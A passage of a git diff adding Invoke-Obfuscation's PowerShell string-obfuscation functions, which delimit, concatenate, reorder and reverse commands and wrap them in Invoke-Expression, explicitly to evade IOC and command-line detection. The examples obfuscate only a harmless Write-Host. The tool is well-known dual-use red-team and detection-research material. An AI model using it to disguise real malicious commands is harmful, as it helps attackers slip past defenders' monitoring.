If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1 new file mode 100644 index 000000000..ede4ac12c --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-ObfuscatedStringCommand.ps1 @@ -0,0 +1,903 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-ObfuscatedStringCommand +{ +<# +.SYNOPSIS + +Master function that orchestrates the application of all string-based obfuscation functions to provided PowerShell script. + +Invoke-Obfuscation Function: Out-ObfuscatedStringCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-EncapsulatedInvokeExpression (located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-ObfuscatedStringCommand orchestrates the application of all string-based obfuscation functions (casting ENTIRE command to a string a performing string obfuscation functions) to provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. If no $ObfuscationLevel is defined then Out-ObfuscatedStringCommand will automatically choose a random obfuscation level. +The available ObfuscationLevel/function mappings are: +1 --> Out-StringDelimitedAndConcatenated +2 --> Out-StringDelimitedConcatenatedAndReordered +3 --> Out-StringReversed + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER ObfuscationLevel + +(Optional) Specifies the obfuscation level for the given input PowerShell payload. If not defined then Out-ObfuscatedStringCommand will automatically choose a random obfuscation level. +The available ObfuscationLevel/function mappings are: +1 --> Out-StringDelimitedAndConcatenated +2 --> Out-StringDelimitedConcatenatedAndReordered +3 --> Out-StringReversed + +.EXAMPLE + +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 1 + +IEX ((('Write-H'+'ost x'+'lcHello'+' Wor'+'ld!xlc -F'+'oregroundC'+'o'+'lor Gre'+'en'+'; Write-Host '+'xlcObf'+'u'+'sc'+'ation '+'Rocks!xl'+'c'+' '+'-'+'Foregrou'+'nd'+'C'+'olor Green') -Replace 'xlc',[Char]39) ) + +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 2 + +IEX( (("{17}{1}{6}{19}{14}{3}{5}{13}{16}{11}{20}{15}{10}{12}{2}{4}{8}{18}{7}{9}{0}" -f ' Green','-H',' ',' ','R','-Foregr','ost qR9He','!qR9 -Foregr','o','oundColor','catio',' ','n','oundColor','qR9','bfus',' Green; Write-Host','Write','cks','llo World!','qR9O')).Replace('qR9',[String][Char]39)) + +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 3 + +$I4 ="noisserpxE-ekovnI|)93]rahC[]gnirtS[,'1Yp'(ecalpeR.)'ne'+'erG roloCd'+'nuo'+'rgero'+'F- 1'+'Y'+'p!s'+'kcoR'+' noit'+'a'+'cs'+'ufbO'+'1'+'Yp '+'tsoH'+'-etirW'+' ;'+'neer'+'G '+'rol'+'oCdnu'+'orger'+'o'+'F'+'-'+' 1'+'Yp'+'!dlroW '+'olleH1Yp '+'t'+'s'+'oH-et'+'irW'( " ;$I4[ -1 ..- ($I4.Length ) ] -Join '' | Invoke-Expression + +.NOTES + +Out-ObfuscatedStringCommand orchestrates the application of all string-based obfuscation functions (casting ENTIRE command to a string a performing string obfuscation functions) to provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. If no $ObfuscationLevel is defined then Out-ObfuscatedStringCommand will automatically choose a random obfuscation level. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [ValidateSet('1', '2', '3')] + [Parameter(Position = 1)] + [ValidateNotNullOrEmpty()] + [Int] + $ObfuscationLevel = (Get-Random -Input @(1..3)) # Default to random obfuscation level if $ObfuscationLevel isn't defined + ) + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Set valid obfuscation levels for current token type. + $ValidObfuscationLevels = @(0,1,2,3) + + # If invalid obfuscation level is passed to this function then default to highest obfuscation level available for current token type. + If($ValidObfuscationLevels -NotContains $ObfuscationLevel) {$ObfuscationLevel = $ValidObfuscationLevels | Sort-Object -Descending | Select-Object -First 1} + + Switch($ObfuscationLevel) + { + 0 {Continue} + 1 {$ScriptString = Out-StringDelimitedAndConcatenated $ScriptString} + 2 {$ScriptString = Out-StringDelimitedConcatenatedAndReordered $ScriptString} + 3 {$ScriptString = Out-StringReversed $ScriptString} + default {Write-Error "An invalid `$ObfuscationLevel value ($ObfuscationLevel) was passed to switch block for String Obfuscation."; Exit} + } + + Return $ScriptString +} + + +Function Out-StringDelimitedAndConcatenated +{ +<# +.SYNOPSIS + +Generates delimited and concatenated version of input PowerShell command. + +Invoke-Obfuscation Function: Out-StringDelimitedAndConcatenated +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ConcatenatedString (located in Out-ObfuscatedTokenCommand.ps1), Out-EncapsulatedInvokeExpression (located in Out-ObfuscatedStringCommand.ps1), Out-RandomCase (located in Out-ObfuscatedToken.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-StringDelimitedAndConcatenated delimits and concatenates an input PowerShell command. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER PassThru + +(Optional) Outputs the option to not encapsulate the result in an invocation command. + +.EXAMPLE + +C:\PS> Out-StringDelimitedAndConcatenated "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" + +(('Write-Ho'+'s'+'t'+' {'+'0'+'}'+'Hell'+'o Wor'+'l'+'d!'+'{'+'0'+'} -Foreground'+'Color G'+'ree'+'n; Writ'+'e-'+'H'+'ost {0}Obf'+'usc'+'a'+'tion R'+'o'+'ck'+'s!{'+'0} -Fo'+'reg'+'ro'+'undColor'+' '+'Gree'+'n')-F[Char]39) | Invoke-Expression + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedStringCommand function with the corresponding obfuscation level since Out-Out-ObfuscatedStringCommand will handle calling this current function where necessary. +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Switch] + $PassThru + ) + + # Characters we will substitute (in random order) with randomly generated delimiters. + $CharsToReplace = @('$','|','`','\','"',"'") + $CharsToReplace = (Get-Random -Input $CharsToReplace -Count $CharsToReplace.Count) + + # If $ScriptString does not contain any characters in $CharsToReplace then simply return as is. + $ContainsCharsToReplace = $FALSE + ForEach($CharToReplace in $CharsToReplace) + { + If($ScriptString.Contains($CharToReplace)) + { + $ContainsCharsToReplace = $TRUE + Break + } + } + If(!$ContainsCharsToReplace) + { + # Concatenate $ScriptString as a string and then encapsulate with parentheses. + $ScriptString = Out-ConcatenatedString $ScriptString "'" + $ScriptString = '(' + $ScriptString + ')' + + If(!$PSBoundParameters['PassThru']) + { + # Encapsulate in necessary IEX/Invoke-Expression(s). + $ScriptString = Out-EncapsulatedInvokeExpression $ScriptString + } + + Return $ScriptString + } + + # Characters we will use to generate random delimiters to replace the above characters. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToReplaceWith = @(0..9) + $CharsToReplaceWith += @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $CharsToReplaceWith += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + $DelimiterLength = 3 + + # Multi-dimensional table containing delimiter/replacement key pairs for building final command to reverse substitutions. + $DelimiterTable = @() + + # Iterate through and replace each character in $CharsToReplace in $ScriptString with randomly generated delimiters. + ForEach($CharToReplace in $CharsToReplace) + { + If($ScriptString.Contains($CharToReplace)) + { + # Create random delimiter of length $DelimiterLength with characters from $CharsToReplaceWith. + If($CharsToReplaceWith.Count -lt $DelimiterLength) {$DelimiterLength = $CharsToReplaceWith.Count} + $Delim = (Get-Random -Input $CharsToReplaceWith -Count $DelimiterLength) -Join '' + + # Keep generating random delimiters until we find one that is not a substring of $ScriptString. + While($ScriptString.ToLower().Contains($Delim.ToLower())) + { + $Delim = (Get-Random -Input $CharsToReplaceWith -Count $DelimiterLength) -Join '' + If($DelimiterLength -lt $CharsToReplaceWith.Count) + { + $DelimiterLength++ + } + } + + # Add current delimiter/replacement key pair for building final command to reverse substitutions. + $DelimiterTable += , @($Delim,$CharToReplace) + + # Replace current character to replace with the generated delimiter + $ScriptString = $ScriptString.Replace($CharToReplace,$Delim) + } + } + + # Add random quotes to delimiters in $DelimiterTable. + $DelimiterTableWithQuotes = @() + ForEach($DelimiterArray in $DelimiterTable) + { + $Delimiter = $DelimiterArray[0] + $OriginalChar = $DelimiterArray[1] + + # Randomly choose between a single quote and double quote. + $RandomQuote = Get-Random -InputObject @("'","`"") + + # Make sure $RandomQuote is opposite of $OriginalChar contents if it is a single- or double-quote. + If($OriginalChar -eq "'") {$RandomQuote = '"'} + Else {$RandomQuote = "'"} + + # Add quotes. + $Delimiter = $RandomQuote + $Delimiter + $RandomQuote + $OriginalChar = $RandomQuote + $OriginalChar + $RandomQuote + + # Add random quotes to delimiters in $DelimiterTable. + $DelimiterTableWithQuotes += , @($Delimiter,$OriginalChar) + } + + # Reverse the delimiters when building back out the reversing command. + [Array]::Reverse($DelimiterTable) + + # Select random method for building command to reverse the above substitutions to execute the original command. + # Avoid using the -f format operator (switch option 3) if curly braces are found in $ScriptString. + If(($ScriptString.Contains('{')) -AND ($ScriptString.Contains('}'))) + { + $RandomInput = Get-Random -Input (1..2) + } + Else + { + $RandomInput = Get-Random -Input (1..3) + } + + # Randomize the case of selected variable syntaxes. + $StringStr = Out-RandomCase 'string' + $CharStr = Out-RandomCase 'char' + $ReplaceStr = Out-RandomCase 'replace' + $CReplaceStr = Out-RandomCase 'creplace' + + Switch($RandomInput) { + 1 { + # 1) .Replace + + $ScriptString = "'" + $ScriptString + "'" + $ReversingCommand = "" + + ForEach($DelimiterArray in $DelimiterTableWithQuotes) + { + $Delimiter = $DelimiterArray[0] + $OriginalChar = $DelimiterArray[1] + + # Randomly decide if $OriginalChar will be displayed in ASCII representation or plaintext in $ReversingCommand. + # This is to allow for simpler string manipulation on the command line. + # Place priority on handling if $OriginalChar is a single- and double-quote. + If($OriginalChar[1] -eq "'") + { + $OriginalChar = "[$StringStr][$CharStr]39" + $Delimiter = "'" + $Delimiter.SubString(1,$Delimiter.Length-2) + "'" + } + ElseIf($OriginalChar[1] -eq '"') + { + $OriginalChar = "[$StringStr][$CharStr]34" + } + Else + { + If(Get-Random -Input (0..1)) + { + $OriginalChar = "[$StringStr][$CharStr]" + [Int][Char]$OriginalChar[1] + } + } + + # Randomly select if $Delimiter will be displayed in ASCII representation instead of plaintext in $ReversingCommand. + If(Get-Random -Input (0..1)) + { + # Convert $Delimiter string into a concatenation of [Char] representations of each characters. + # This is to avoid redundant replacement of single quotes if this function is run numerous times back-to-back. + $DelimiterCharSyntax = "" + For($i=1; $i -lt $Delimiter.Length-1; $i++) + { + $DelimiterCharSyntax += "[$CharStr]" + [Int][Char]$Delimiter[$i] + '+' + } + $Delimiter = '(' + $DelimiterCharSyntax.Trim('+') + ')' + } + + # Add reversing commands to $ReversingCommand. + $ReversingCommand = ".$ReplaceStr($Delimiter,$OriginalChar)" + $ReversingCommand + } + + # Concatenate $ScriptString as a string and then encapsulate with parentheses. + $ScriptString = Out-ConcatenatedString $ScriptString "'" + $ScriptString = '(' + $ScriptString + ')' + + # Add reversing commands to $ScriptString. + $ScriptString = $ScriptString + $ReversingCommand + } + 2 { + # 2) -Replace/-CReplace + + $ScriptString = "'" + $ScriptString + "'" + $ReversingCommand = "" + + ForEach($DelimiterArray in $DelimiterTableWithQuotes) + { + $Delimiter = $DelimiterArray[0] + $OriginalChar = $DelimiterArray[1] + + # Randomly decide if $OriginalChar will be displayed in ASCII representation or plaintext in $ReversingCommand. + # This is to allow for simpler string manipulation on the command line. + # Place priority on handling if $OriginalChar is a single- or double-quote. + If($OriginalChar[1] -eq '"') + { + $OriginalChar = "[$CharStr]34" + } + ElseIf($OriginalChar[1] -eq "'") + { + $OriginalChar = "[$CharStr]39"; $Delimiter = "'" + $Delimiter.SubString(1,$Delimiter.Length-2) + "'" + } + Else + { + $OriginalChar = "[$CharStr]" + [Int][Char]$OriginalChar[1] + } + + # Randomly select if $Delimiter will be displayed in ASCII representation instead of plaintext in $ReversingCommand. + If(Get-Random -Input (0..1)) + { + # Convert $Delimiter string into a concatenation of [Char] representations of each characters. + # This is to avoid redundant replacement of single quotes if this function is run numerous times back-to-back. + $DelimiterCharSyntax = "" + For($i=1; $i -lt $Delimiter.Length-1; $i++) + { + $DelimiterCharSyntax += "[$CharStr]" + [Int][Char]$Delimiter[$i] + '+' + } + $Delimiter = '(' + $DelimiterCharSyntax.Trim('+') + ')' + } + + # Randomly choose between -Replace and the lesser-known case-sensitive -CReplace. + $Replace = (Get-Random -Input @("-$ReplaceStr","-$CReplaceStr")) + + # Add reversing commands to $ReversingCommand. Whitespace before and after $Replace is optional. + $ReversingCommand = ' '*(Get-Random -Minimum 0 -Maximum 3) + $Replace + ' '*(Get-Random -Minimum 0 -Maximum 3) + "$Delimiter,$OriginalChar" + $ReversingCommand + } + + # Concatenate $ScriptString as a string and then encapsulate with parentheses. + $ScriptString = Out-ConcatenatedString $ScriptString "'" + $ScriptString = '(' + $ScriptString + ')' + + # Add reversing commands to $ScriptString. + $ScriptString = '(' + $ScriptString + $ReversingCommand + ')' + } + 3 { + # 3) -f format operator + + $ScriptString = "'" + $ScriptString + "'" + $ReversingCommand = "" + $Counter = 0 + + # Iterate delimiters in reverse for simpler creation of the proper order for $ReversingCommand. + For($i=$DelimiterTableWithQuotes.Count-1; $i -ge 0; $i--) + { + $DelimiterArray = $DelimiterTableWithQuotes[$i] + + $Delimiter = $DelimiterArray[0] + $OriginalChar = $DelimiterArray[1] + + $DelimiterNoQuotes = $Delimiter.SubString(1,$Delimiter.Length-2) + + # Randomly decide if $OriginalChar will be displayed in ASCII representation or plaintext in $ReversingCommand. + # This is to allow for simpler string manipulation on the command line. + # Place priority on handling if $OriginalChar is a single- or double-quote. + If($OriginalChar[1] -eq '"') + { + $OriginalChar = "[$CharStr]34" + } + ElseIf($OriginalChar[1] -eq "'") + { + $OriginalChar = "[$CharStr]39"; $Delimiter = "'" + $Delimiter.SubString(1,$Delimiter.Length-2) + "'" + } + Else + { + $OriginalChar = "[$CharStr]" + [Int][Char]$OriginalChar[1] + } + + # Build out delimiter order to add as arguments to the final -f format operator. + $ReversingCommand = $ReversingCommand + ",$OriginalChar" + + # Substitute each delimited character with placeholder for -f format operator. + $ScriptString = $ScriptString.Replace($DelimiterNoQuotes,"{$Counter}") + + $Counter++ + } + + # Trim leading comma from $ReversingCommand. + $ReversingCommand = $ReversingCommand.Trim(',') + + # Concatenate $ScriptString as a string and then encapsulate with parentheses. + $ScriptString = Out-ConcatenatedString $ScriptString "'" + $ScriptString = '(' + $ScriptString + ')' + + # Add reversing commands to $ScriptString. Whitespace before and after -f format operator is optional. + $FormatOperator = (Get-Random -Input @('-f','-F')) + + $ScriptString = '(' + $ScriptString + ' '*(Get-Random -Minimum 0 -Maximum 3) + $FormatOperator + ' '*(Get-Random -Minimum 0 -Maximum 3) + $ReversingCommand + ')' + } + default {Write-Error "An invalid `$RandomInput value ($RandomInput) was passed to switch block."; Exit;} + } + + # Encapsulate $ScriptString in necessary IEX/Invoke-Expression(s) if -PassThru switch was not specified. + If(!$PSBoundParameters['PassThru']) + { + $ScriptString = Out-EncapsulatedInvokeExpression $ScriptString + } + + Return $ScriptString +} + + +Function Out-StringDelimitedConcatenatedAndReordered +{ +<# +.SYNOPSIS + +Generates delimited, concatenated and reordered version of input PowerShell command. + +Invoke-Obfuscation Function: Out-StringDelimitedConcatenatedAndReordered +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-StringDelimitedAndConcatenated (located in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-StringDelimitedConcatenatedAndReordered delimits, concatenates and reorders the concatenated substrings of an input PowerShell command. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER PassThru + +(Optional) Outputs the option to not encapsulate the result in an invocation command. + +.EXAMPLE + +C:\PS> Out-StringDelimitedConcatenatedAndReordered "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" + +(("{16}{5}{6}{14}{3}{19}{15}{10}{18}{17}{0}{2}{7}{8}{12}{9}{11}{4}{13}{1}"-f't','en','ion R','9 -Fore','Gr','e-Host 0i9Hello W','or','ocks!0i9 -Fo','regroun','olo','ite-Hos','r ','dC','e','ld!0i','; Wr','Writ','sca','t 0i9Obfu','groundColor Green')).Replace('0i9',[String][Char]39) |IEX + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedStringCommand function with the corresponding obfuscation level since Out-Out-ObfuscatedStringCommand will handle calling this current function where necessary. +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 2 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Switch] + $PassThru + ) + + If(!$PSBoundParameters['PassThru']) + { + # Convert $ScriptString to delimited and concatenated string and encapsulate with invocation. + $ScriptString = Out-StringDelimitedAndConcatenated $ScriptString + } + Else + { + # Convert $ScriptString to delimited and concatenated string and do no encapsulate with invocation. + $ScriptString = Out-StringDelimitedAndConcatenated $ScriptString -PassThru + } + + # Parse out concatenated strings to re-order them. + $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) + $GroupStartCount = 0 + $ConcatenatedStringsIndexStart = $NULL + $ConcatenatedStringsIndexEnd = $NULL + $ConcatenatedStringsArray = @() + For($i=0; $i -le $Tokens.Count-1; $i++) { + $Token = $Tokens[$i] + + If(($Token.Type -eq 'GroupStart') -AND ($Token.Content -eq '(')) + { + $GroupStartCount = 1 + $ConcatenatedStringsIndexStart = $Token.Start+1 + } + ElseIf(($Token.Type -eq 'GroupEnd') -AND ($Token.Content -eq ')') -OR ($Token.Type -eq 'Operator') -AND ($Token.Content -ne '+')) + { + $GroupStartCount-- + $ConcatenatedStringsIndexEnd = $Token.Start + # Stop parsing concatenated string. + If(($GroupStartCount -eq 0) -AND ($ConcatenatedStringsArray.Count -gt 0)) + { + Break + } + } + ElseIf(($GroupStartCount -gt 0) -AND ($Token.Type -eq 'String')) + { + $ConcatenatedStringsArray += $Token.Content + } + ElseIf($Token.Type -ne 'Operator') + { + # If something other than a string or operator appears then we're not dealing with a pure string concatenation. Thus we reset the group start and the concatenated strings array. + # This only became an issue once the invocation syntax went from IEX/Invoke-Expression to concatenations like .($ShellId[1]+$ShellId[13]+'x') + $GroupStartCount = 0 + $ConcatenatedStringsArray = @() + } + } + + $ConcatenatedStrings = $ScriptString.SubString($ConcatenatedStringsIndexStart,$ConcatenatedStringsIndexEnd-$ConcatenatedStringsIndexStart) + + # Return $ScriptString as-is if there is only one substring as it would gain nothing to "reorder" a single substring. + If($ConcatenatedStringsArray.Count -le 1) + { + Return $ScriptString + } + + # Randomize the order of the concatenated strings. + $RandomIndexes = (Get-Random -Input (0..$($ConcatenatedStringsArray.Count-1)) -Count $ConcatenatedStringsArray.Count) + + $Arguments1 = '' + $Arguments2 = @('')*$ConcatenatedStringsArray.Count + For($i=0; $i -lt $ConcatenatedStringsArray.Count; $i++) + { + $RandomIndex = $RandomIndexes[$i] + $Arguments1 += '{' + $RandomIndex + '}' + $Arguments2[$RandomIndex] = "'" + $ConcatenatedStringsArray[$i] + "'" + } + + # Whitespace is not required before or after the -f operator. + $ScriptStringReordered = '(' + '"' + $Arguments1 + '"' + ' '*(Get-Random @(0..1)) + '-f' + ' '*(Get-Random @(0..1)) + ($Arguments2 -Join ',') + ')' + + # Add re-ordered $ScriptString back into the original $ScriptString context. + $ScriptString = $ScriptString.SubString(0,$ConcatenatedStringsIndexStart) + $ScriptStringReordered + $ScriptString.SubString($ConcatenatedStringsIndexEnd) + + Return $ScriptString +} + + +Function Out-StringReversed +{ +<# +.SYNOPSIS + +Generates concatenated and reversed version of input PowerShell command. + +Invoke-Obfuscation Function: Out-StringReversed +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ConcatenatedString, Out-RandomCase (both are located in Out-ObfuscatedToken.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-StringReversed concatenates and reverses an input PowerShell command. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.EXAMPLE + +C:\PS> Out-StringReversed "Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green" + +sv 6nY ("XEI | )93]rahC[ f-)'n'+'eer'+'G'+' roloC'+'dnuo'+'rgeroF-'+' '+'}0{!sk'+'co'+'R '+'noitacsufb'+'O'+'}0'+'{ ts'+'oH-'+'etirW ;neer'+'G'+' rolo'+'C'+'dnu'+'orgeroF- }0{!d'+'l'+'roW'+' olleH}0{ tsoH-et'+'ir'+'W'(( ");IEX ( ( gcI vARiaBlE:6ny ).valUE[ -1..-( ( gcI vARiaBlE:6ny ).valUE.Length ) ]-Join '' ) + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedStringCommand function with the corresponding obfuscation level since Out-Out-ObfuscatedStringCommand will handle calling this current function where necessary. +C:\PS> Out-ObfuscatedStringCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString + ) + + # Remove any special characters to simplify dealing with the reversed $ScriptString on the command line. + $ScriptString = Out-ObfuscatedStringCommand ([ScriptBlock]::Create($ScriptString)) 1 + + # Reverse $ScriptString. + $ScriptStringReversed = $ScriptString[-1..-($ScriptString.Length)] -Join '' + + # Characters we will use to generate random variable names. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToRandomVarName = @(0..9) + $CharsToRandomVarName += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + + # Randomly choose variable name starting length. + $RandomVarLength = (Get-Random -Input @(3..6)) + + # Create random variable with characters from $CharsToRandomVarName. + If($CharsToRandomVarName.Count -lt $RandomVarLength) {$RandomVarLength = $CharsToRandomVarName.Count} + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Keep generating random variables until we find one that is not a substring of $ScriptString. + While($ScriptString.ToLower().Contains($RandomVarName.ToLower())) + { + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + $RandomVarLength++ + } + + # Randomly decide if the variable name will be concatenated inline or not. + # Handle both and syntaxes depending on which option is chosen concerning GET variable syntax. + $RandomVarNameMaybeConcatenated = $RandomVarName + $RandomVarNameMaybeConcatenatedWithVariablePrepended = 'variable:' + $RandomVarName + If((Get-Random -Input @(0..1)) -eq 0) + { + $RandomVarNameMaybeConcatenated = '(' + (Out-ConcatenatedString $RandomVarName (Get-Random -Input @('"',"'"))) + ')' + $RandomVarNameMaybeConcatenatedWithVariablePrepended = '(' + (Out-ConcatenatedString "variable:$RandomVarName" (Get-Random -Input @('"',"'"))) + ')' + } + + # Placeholder for values to be SET in variable differently in each Switch statement below. + $RandomVarValPlaceholder = '<[)(]>' + + # Generate random variable SET syntax. + $RandomVarSetSyntax = @() + $RandomVarSetSyntax += '$' + $RandomVarName + ' '*(Get-Random @(0..2)) + '=' + ' '*(Get-Random @(0..2)) + $RandomVarValPlaceholder + $RandomVarSetSyntax += (Get-Random -Input @('Set-Variable','SV','Set')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + ' '*(Get-Random @(1..2)) + '(' + ' '*(Get-Random @(0..2)) + $RandomVarValPlaceholder + ' '*(Get-Random @(0..2)) + ')' + + # Randomly choose from above variable syntaxes. + $RandomVarSet = (Get-Random -Input $RandomVarSetSyntax) + + # Randomize the case of selected variable syntaxes. + $RandomVarSet = Out-RandomCase $RandomVarSet + + # Generate random variable GET syntax. + $RandomVarGetSyntax = @() + $RandomVarGetSyntax += '$' + $RandomVarName + $RandomVarGetSyntax += '(' + ' '*(Get-Random @(0..2)) + (Get-Random -Input @('Get-Variable','Variable')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenated + (Get-Random -Input ((' '*(Get-Random @(0..2)) + ').Value'),(' '*(Get-Random @(1..2)) + ('-ValueOnly'.SubString(0,(Get-Random -Minimum 3 -Maximum ('-ValueOnly'.Length+1)))) + ' '*(Get-Random @(0..2)) + ')'))) + $RandomVarGetSyntax += '(' + ' '*(Get-Random @(0..2)) + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' '*(Get-Random @(1..2)) + $RandomVarNameMaybeConcatenatedWithVariablePrepended + ' '*(Get-Random @(0..2)) + ').Value' + + # Randomly choose from above variable syntaxes. + $RandomVarGet = (Get-Random -Input $RandomVarGetSyntax) + + # Randomize the case of selected variable syntaxes. + $RandomVarGet = Out-RandomCase $RandomVarGet + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += '$OFS' + ' '*(Get-Random -Input @(0,1)) + '=' + ' '*(Get-Random -Input @(0,1)) + "''" + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize the case of selected variable syntaxes. + $SetOfsVar = Out-RandomCase $SetOfsVar + $SetOfsVarBack = Out-RandomCase $SetOfsVarBack + $StringStr = Out-RandomCase 'string' + $JoinStr = Out-RandomCase 'join' + $LengthStr = Out-RandomCase 'length' + $ArrayStr = Out-RandomCase 'array' + $ReverseStr = Out-RandomCase 'reverse' + $CharStr = 